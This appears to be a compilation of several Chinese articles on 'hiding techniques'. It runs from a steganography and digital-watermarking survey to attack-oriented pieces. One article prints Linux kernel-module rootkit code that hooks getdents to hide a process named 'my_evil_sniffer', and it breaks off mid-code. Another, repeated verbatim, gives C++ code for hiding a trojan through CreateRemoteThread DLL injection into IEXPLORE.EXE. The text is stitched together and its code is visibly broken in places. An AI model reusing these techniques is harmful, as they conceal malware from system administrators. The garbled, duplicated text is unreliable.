信息隐藏是一项崭新的技术领域,也是多媒体技术、网络技术研究的前沿,应用前景十分广阔,必将吸引广大图像、语音、网络、人工智能等领域的研究者加入到这一行列,从而推动信息安全技术更快的发展。

参考文献:

[1] 张作林,陈建华.基于区域的信息隐藏技术[J].福建电脑,2005,3.

[2] 张书真.信息安全中的信息隐藏技术[J].电脑知识与技术.2005,18.

[3] 陈 波,谭运猛,吴世忠.信息隐藏技术综述[J].计算机与数字工程.2005,2.

[4] 左伟明,秦姣华.信息隐藏技术研究[J].湖南城市学院学报.2005,3.

隐藏技术论文篇7

 

一、关于信息隐藏

所谓的信息隐藏,是利用媒体信息普遍存在的冗余特性,将秘密信息隐藏在其他媒体信息中,其首要目标就是使加入隐藏信息后的媒体目标的质量下降,尽可能地小,使人无法觉察到隐藏的数据,或者知道它的存在,但未经授权者无法知道它的位置。并不像传统加密过的文件一样,看起来是一堆会激发非法拦截者破解机密资料动机的乱码,而是看起来和其它非机密性的一般资料无异,因而十分容易逃过非法拦截者的破解。其道理如同生物学上的保护色,巧妙地将自己伪装隐藏于环境中,免于被天敌发现而遭受攻击。被人们誉为历史学之父的古希腊历史学家希罗多德(Herodotus, 486—425),在其著作中讲述了这样一则故事:一个名叫Histaieus的人筹划着与他的朋友合伙发起叛乱,里应外合,以便推翻波斯人的统治。他找来一位忠诚的奴隶,剃光其头发并把消息刺在头皮上,等到头发又长起来了,把这人派出去送“信”,最后叛乱成功了。

信息隐藏技术是20世纪90年代中期从国外兴起的一门集多学科理论与技术与一身的新兴技术领域,它涉及感知科学、信息论、密码学等多个学科领域,涵盖信号处理、扩频通信、图像处理等多种专业技术的研究方向。

人的眼睛或耳朵本身对某些信息都有一定的掩蔽效应,利用人的这些特点,可以很好地将信息隐藏而不被察觉。信息隐藏过程一般由密钥来控制,通过嵌入算法将有意义的信息即嵌入对象隐藏于掩护对象中,从而生成隐密载体,隐密载体通过信道传输到接受端。在密钥的控制下采用特定的提取算法从隐藏载体中提取出嵌入对象,利用密钥从中恢复或检测出隐藏的秘密信息,从而使用户获得真实可靠的信息。使非法者不知道这个载体信息中是否隐藏了其它的信息,而且即使知道,也难以提取隐藏的信息,从而实现信息的保密。

据目前已经提出的信息隐藏算法,从它们对载体的修改方式上进行分类,可以分为:时域(空域)替换技术、变换域技术、扩展频谱技术、统计方法等等。

二、信息隐藏的特点

利用不同的媒体进行信息掩藏时有着不同的特点,但是它们都必须具有下列基本特征。

1.隐蔽性。指嵌入信息后在不引起秘密信息质量下降的前提下,不显著改变掩护对象的外部特征,即不引起人们感官上对掩护对象变化的察觉。以使非法拦截者无法判断是否有秘密信息的存在。

2.不可测性。指隐蔽载体与原始载体具有一致的特性,即非法拦截者要检测到秘密信息的存在并提取出来应相当困难,至少在秘密信息的有效期内是不可能的。

3.不可见性。利用人类视觉系统和听觉系统的属性,经过一系列隐藏处理, 使目标资料没有明显的降质现象,而隐藏的资料却无法人为地看见或听见.

4.鲁棒性。指不因图像文件的某种改动而导致隐藏信息丢失的能力。这里所谓“改动”包括传输过程中的隐藏载体对一般的信号处理(如滤波、增强、重采样、有损压缩等)、一般的几何变换(如平移、旋转、缩放、分割等)和恶意攻击等情况,即隐藏载体不会因为这些操作而丢失了隐藏的秘密信息。

5.自恢复性。指经过了一些操作和变换后,可能会使隐蔽载体受到较大的破坏,如果只留下部分的数据,在不需要宿主信号的情况下,却仍然能恢复隐藏信息的特征就是所谓的自恢复性。

6.安全性。指隐藏算法有较强的抗攻击能力,即它必须能够承受一定程度的人为攻击,而使隐藏信息不会被破坏。

三、信息隐藏的应用

在信息安全领域中,信息隐藏技术的应用可归结为下列几个方面。

1.数字知识产权保护

知识产权保护是信息隐藏技术中数字水印技术和数字指纹技术所力图解决的重要问题,信息隐藏技术的绝大部分研究成果都是在这一应用领域中取得的。随着网络和数字技术的快速普及,通过网络向人们提供的数字服务也会越来越多,如数字图书馆、数字图书出版、数字电视、数字新闻等。这些服务提供的都是数字产品,数字产品具有易修改、易复制、易窃取的特点,因此,当前的数字知识产权保护就已经成为迫切需要解决的实际问题。

信息隐藏技术应用于版权保护时,所嵌入的签字信号通常被称作“数字水印”,数字水印技术可以成为解决此难题的一种方案。现在越来越多的视频信号、音频信号和数字图像中被贴上了不可见的标签,用以防止非法拷贝和数据跟踪。服务提供商在向用户发送产品的同时,将双方的信息代码以水印的形式隐藏在作品中,这种水印从理论上讲应该是不被破坏的。当发现数字产品在非法传播时,可以通过提取出的水印代码追查非法散播者。其主要特点是版权保护所需嵌入的数据量小,对签字信号的安全性和鲁棒性要求很高。

2.数据完整性鉴定

使用数字水印技术有一定的缺陷,用于数字水印技术保护的媒体一旦被篡改水印就会被破坏,从而很容易被识别。在数字票据中隐藏的水印经过打印后仍然存在,可以通过再扫描回数字形式,提取防伪水印,以证实票据的真实性。数据完整性鉴定是指对某一信号的真伪或完整性的判别,并需要进一步指出该信号与原始真实信号的差别,以确认资料在网上传输或存储过程中并没有被篡改、破坏或丢失。假定接收到一个如音频、视频或图像等多媒体信号,并初步判断它很可能是某一原始真实信号的修改版本,数据篡改验证的任务就是在对原始信号的具体内容不可知的情况下,以最大的可能判断是否是真实的。首先,要充分利用数据库管理系统提供的数据完整性的约束机制和各种输入数据的引用完整性约束设计,以便保证数据完整、准确的输入和储存。其次,在数据传输过程中可视情况选用相应的数据校验方式对传输数据进行校验检查。

3.数据保密

在网络上传输秘密数据要防止非法用户的截获和使用,这是网络安全的一个重要内容,随着信息技术的发展以及经济的全球化,这一点不仅涉及政治、军事领域,还将涉及到商业、金融机密和个人隐私。信息隐藏技术为网上交流的信息采取了有效的保护,比如电子政务中敏感信息、电子商务中的秘密协议和合同、网上银行交易的重要数据、重要文件的数字签名以及个人隐私等,还可以对一些不愿为别人所知道的内容使用信息隐藏方式进行隐藏储存,从而使数据得到保密,保证了信息的安全性。

4.资料不可抵赖性的确认

在网上交易中,交易双方的任何一方不能抵赖自己曾经做出的行为,也不能否认曾经接收到对方的信息,这是交易系统中一个重要环节。这可以使用信息隐藏技术,在交易体系的任何一方发送和接收信息时,将各自的特征标记形式加入到传递的信息中,这些标记应是不能被去除的,从而达到确认其行为的目的。

结论

总之,信息隐藏技术是多媒体通信和多媒体信号处理领域中近年来新兴的研究方向,它为信息安全提供了一种新的思路,为我们研究信息安全提供了一个新的方向.

目前国际上先进的信息隐藏技术已能做到隐藏的信息可以经受人的感觉检测和仪器的检测,并能抵抗一些人为的攻击。但总的来说,信息隐藏技术尚没有发展到可实用的阶段,使用密码加密仍是网络信息传输的主要安全手段。虽然目前对信息隐藏的研究有了很大的进展,在信息安全中起到了重要的作用,但存在大量的实际问题亟待解决,如信息隐藏的容量问题,如何建立不可感知性的数学度量模型,信息隐藏的容量上界如何计算等;信息隐藏的对立面——隐藏分析如何得到同步发展;如何对信息隐藏进行分析和分类;如何找到信息隐藏技术自己的理论依据,形成完善和科学的理论体系等等。

信息隐藏是一项崭新的技术领域,也是多媒体技术、网络技术研究的前沿,应用前景十分广阔,必将吸引广大图像、语音、网络、人工智能等领域的研究者加入到这一行列,从而推动信息安全技术更快的发展。

参考文献:

[1] 张作林,陈建华.基于区域的信息隐藏技术[J].福建电脑,2005,3.

[2] 张书真.信息安全中的信息隐藏技术[J].电脑知识与技术.2005,18.

[3] 陈 波,谭运猛,吴世忠.信息隐藏技术综述[J].计算机与数字工程.2005,2.

[4] 左伟明,秦姣华.信息隐藏技术研究[J].湖南城市学院学报.2005,3.

隐藏技术论文篇8

中图分类号:TP393文献标识码:A文章编号:1009-3044(2007)04-10961-03

1 引言

攻击活动是一系列连续操作,若攻击时一不小心露出马脚,所有前面的攻击就会付诸东流,甚至会“引火烧身”。基于这样的认识,精明的网络攻击者特别注意隐藏攻击活动。

隐藏技术在计算机系统安全中应用十分广泛,尤其是在网络攻击中,当攻击者成功侵入一个系统后,有效隐藏攻击者的文件、进程及其加载的模块变得尤为重要。本文将讨论网络攻击活动中文件、进程、网络连接及通道的高级隐藏技术,这些技术有的已经被广泛应用到各种后门或安全检测程序之中,而有一些则刚刚起步,仍然处在讨论阶段,应用很少。

2 进程活动隐藏技术

攻击者在目标系统进行攻击活动时,产生攻击进程,如果不将这些攻击进程隐藏在系统中,就会被网络安全管理人员发现。例如,攻击者注册到某台Linux主机时,系统管理人员使用ps-ef | grep in.telnetd命令就可以察觉。攻击者可以通过修改系统的进程管理模块,替换进程管理核心模块,控制进程的显示,主要是netstat、ps等命令。下面给出Linux系统下隐藏进程源程序的例子:

extern void* sys_call_table[];

/*隐藏进程名称*/

char mtroj[]="my_evil_sniffer";

int (*orig_getdnts)(unsigned int fd,struct dirent *dirp,unsigned int coumt);

/*convert a string to number*/

int myatoi(char *str)

{ int res=0;

int mul=1;

char *ptr;

for(ptr=str+strlen(str)-1;ptr>=str;ptr--) {

if(*ptr'9')

return(-1);

res+=(*ptr-'0') *mul;

mul*=10;}

return (res);}

/*从task structure中获取进程号*/

struct task_struct *get_task(pid_t pid)

{ struct task_struck *p=current;

do { if (p->pid==pid)

returnp;

p=p->next_task; }

while (p!=current);

return NULL;}

/*从task structure获取进程名称*/

static inline char *task_name(struct task_struct *p,char *buf)

{ int i; char *name;

name=p->comm;

i=sizeof(p->comm);

do {unsigned char c=*name;

name++; i--;

*buf=c;

if (!c);

break;

if (c=='\\') {

buf[1]=c; buf+=2;

continue; }

if (c= ='\n') {

buf[0]='\\';

buf[1]='n'; buf+=2;

continue; }

buf++;}

while (i);

*buf=’\n’;

return buf+1;}

/*确认需要隐藏的进程*/

int invisible (pid_t pid)

{struct task_struct *task=get_task (pid);

char *buffer;

if (task) {

buffer=kmalloc (200,GFP_KERNEL);

memset (buffer,0,200);

task_name (task,buffer);

if (strstr (buffer, (char *) &mtroj)) {

kfree (buffer);

return 1; }

}return 0;}

int hacked_getdents (unsigned int fd, struct dirent *dirp, unsigned int count)

{unsigned int tmp,n;

int t,proc=0;

struct inode *dinode;

struct dirent dirp2,dirp3;

tmp=(*orig_getdents) (fd,dirp,count);

#idef _LINUX_DCACHE_H

dinode=current->files->fd[fd]->d_inode;

#else

dinode=current->files->f_inode;

#endif

if (dinode->i_ino= =PROC_ROOT_INO && !MAJOR (dinode->I_dev) &&

MINOR (dinode->I_dev) = =1)

proc=1;

if (tmp>0) {

dirp2= (struct dirent *) kmalloc (tmp, GFP_KERNEL);

memcpy_fromfs( dirp2,dirp,tmp);

dirp3=dirp2;t=tmp;

while (t>0) {

n=dirp3->d_reclen;

t-=n;

if ((proc && invisble (myatoi (dirp3->d_name)))) {

if (t!=0)

memmove (dirp3, (char *)dirp3+dirp3->d_reclen,t);

else

dirp3->d_off=1024;

tmp-=n;}

if (t!=0)

dirp3= (struct dirent *) ((char *) dirp3+dirp3->d_reclen);}

memcpy_tofs (dirp,dirp2,tmp);

kfree (dirp2);}

return tmp;

int init_module (void)/*module setup*/

{orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;return 0;}

void cleanup_module (void)/*module shutdown*/

隐藏技术论文篇9

关键字进程线程木马动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。

1基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3实施步骤

1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2)用VirtualAllocEx()函数分配远程进程地址空间中的

内存。

3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4)拷贝到步骤二已经分配的内存中。

5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6)用CreateRemoteThread()函数在远程进程中创建一个线程。

7)它调用正确的LoadlibraryA()函数。

8)为它传递步骤二中分配的内存地址。

4具体实例

下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//该头文件包涵了进程操作的API函数

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隐藏的DLL文件名

HANDLEhProcessSnap=NULL;//进程快照句柄

HANDLEhRemoteProcess;//远程进程句柄

LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放远程线程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//获取第一个进程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主进程,以IEXPLORE.EXE为例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取第一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假设hide.dll是待隐藏的进程

intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5结束语

进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

隐藏技术论文篇10

关键字进程线程木马动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。

1基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3实施步骤

1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2)用VirtualAllocEx()函数分配远程进程地址空间中的

内存。

3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4)拷贝到步骤二已经分配的内存中。

5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6)用CreateRemoteThread()函数在远程进程中创建一个线程。

7)它调用正确的LoadlibraryA()函数。

8)为它传递步骤二中分配的内存地址。

4具体实例

下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//该头文件包涵了进程操作的API函数

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隐藏的DLL文件名

HANDLEhProcessSnap=NULL;//进程快照句柄

HANDLEhRemoteProcess;//远程进程句柄

LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放远程线程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//获取第一个进程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主进程,以IEXPLORE.EXE为例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取第一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假设hide.dll是待隐藏的进程

intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5结束语

进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

隐藏技术论文篇11

DOI:10.16640/ki.37-1222/t.2016.11.135

0 引言

随着科技的进步,通信技术的飞跃式发展,计算机互联网的迅速普及,使得越来越多的人和公司通过网络传输大量的数据文件,但是由于互联网具有连接形式多样性以及开放性和互联性,使得这些互联网上传输的数据文件很容易受到攻击或窃取,如果涉及国家安全和军队建设乃至个人的隐私信息方面,信息安全问题将变的更加敏感。查阅文献,发现现阶段研究人员关注的热点有俩个,即信息加密和信息隐藏,其中信息隐藏就是把需要传递的秘密信息进行伪装,隐藏在普通文件中,即使文件被攻击、窃取,也不易发现其中的隐藏信息,可以有效的加强信息在传输过程中的安全性,因此有必要对信息隐藏技术进行进一步的研究。

1 信息隐藏技术的含义

信息隐藏是利用人类对多媒体数字信号不敏感,将秘密信息隐藏在一个不被关注的多媒体信号中,这样敏感信息不会被发现,而且也不会影响到多媒体信号的感觉效果和使用价值,当我们利用这样的技术传输敏感信息时,可以对第三方起到混淆的作用。一般来说隐秘信息的载体选择有多种类型,比如我们经常见到的图像、声音、视频还有文档都可以作为敏感信息的载体,这样做的目的是不引人注目,其次即使载体信息被截获,也很难对隐藏信息进行提取,安全性得到了极大的提高。

2 信息隐藏的具体方法

参考传统加密技术方法,我们有保留的基础上对信息隐藏技术进行了一定的改进。常用的具体方法有数字水印技术、叠像技术以及替声技术等。其中,叠像技术是1994年提出的可视密码术(VisualCryptography),用有意义的明文图像代替原来的随机噪声图象,使之更具安全性。数字水印(Digital Watermarking)技术是将一些标识信息(即数字水印)直接嵌入数字载体中,但不影响原载体的使用价值,也不容易被人的知觉系统觉察。通过这些隐藏在载体中的信息,可以达到确认内容创建者、购买者、传送隐秘信息或者判断载体是否被篡改等目的。替声技术与叠像技术很相似,它是通过对声音信息的处理,使得原来的对象和内容都发生改变,从而达到将真正的声音信息隐藏起来的目的。替声技术可以用于制作安全电话,使用这种电话,可以对通信内容加以保密。

(1)替换技术。把秘密信息伪装成载体荣誉部分,进行替换后载体的可视性并没有被破坏,常用的手段有最小有效位替换、伪装随机替换,载体的奇偶位对换,图像的调色板替换等。

(2)变换技术。将秘密信息做正交变换,利用扩频技术把变换后的秘密信息隐藏到载体的变换域中。这种技术的优点是,它通过不同的空间频率敏感的感官系统来确定秘密信息具体的嵌入位置及嵌入强度,有效的对嵌入信息进行了隐藏。

(3)扩频技术。当对隐藏秘密信息的载体做过滤操作的时候,秘密信息可能被部分过滤,造成秘密信息丢失。在嵌入秘密信息时进行多次重复的代码扩展,对载体进行过滤时,秘密信息保留的概率大大增加。信息数据率高许多倍伪随机码把包含基带信号的频谱数据进行扩展,形成宽频带低功率谱密度的信号。

3 信息隐藏的特点

信息隐藏有不同的分支,但所有分支都有很多共同的特点。第一,信息隐藏系统必须保证隐藏信息的不可见性,即在把秘密信息嵌入载体的过程中不能留下任何的痕迹,如果这一过程影响到图像质量,图像信息嵌入价值将减少,信息隐藏系统安全性降低。 其次,在对载体进行矢量变换操作以后,载体中的隐藏信息任然可以保持完整,并可以极大的概率被提取。 第三,要实现隐藏信息在载体中的不可见性,隐藏信息的长度与载体的长度必须保持一个适度的量,因为载体容量与信息隐藏率是正比关系的。 第四,要足够安全,即攻击者不能有效的读取和修改载体中的秘密信息。

4 网络通信中信息隐藏技术的应用

网络通信中往往根据信息载体的不同,利用文本、语音、视频以及二进制的隐写,把秘密信息隐藏在具体的公开转播的数字多媒体信号中,使得秘密信息可以在网络中进行安全有效的传输的一种技术。

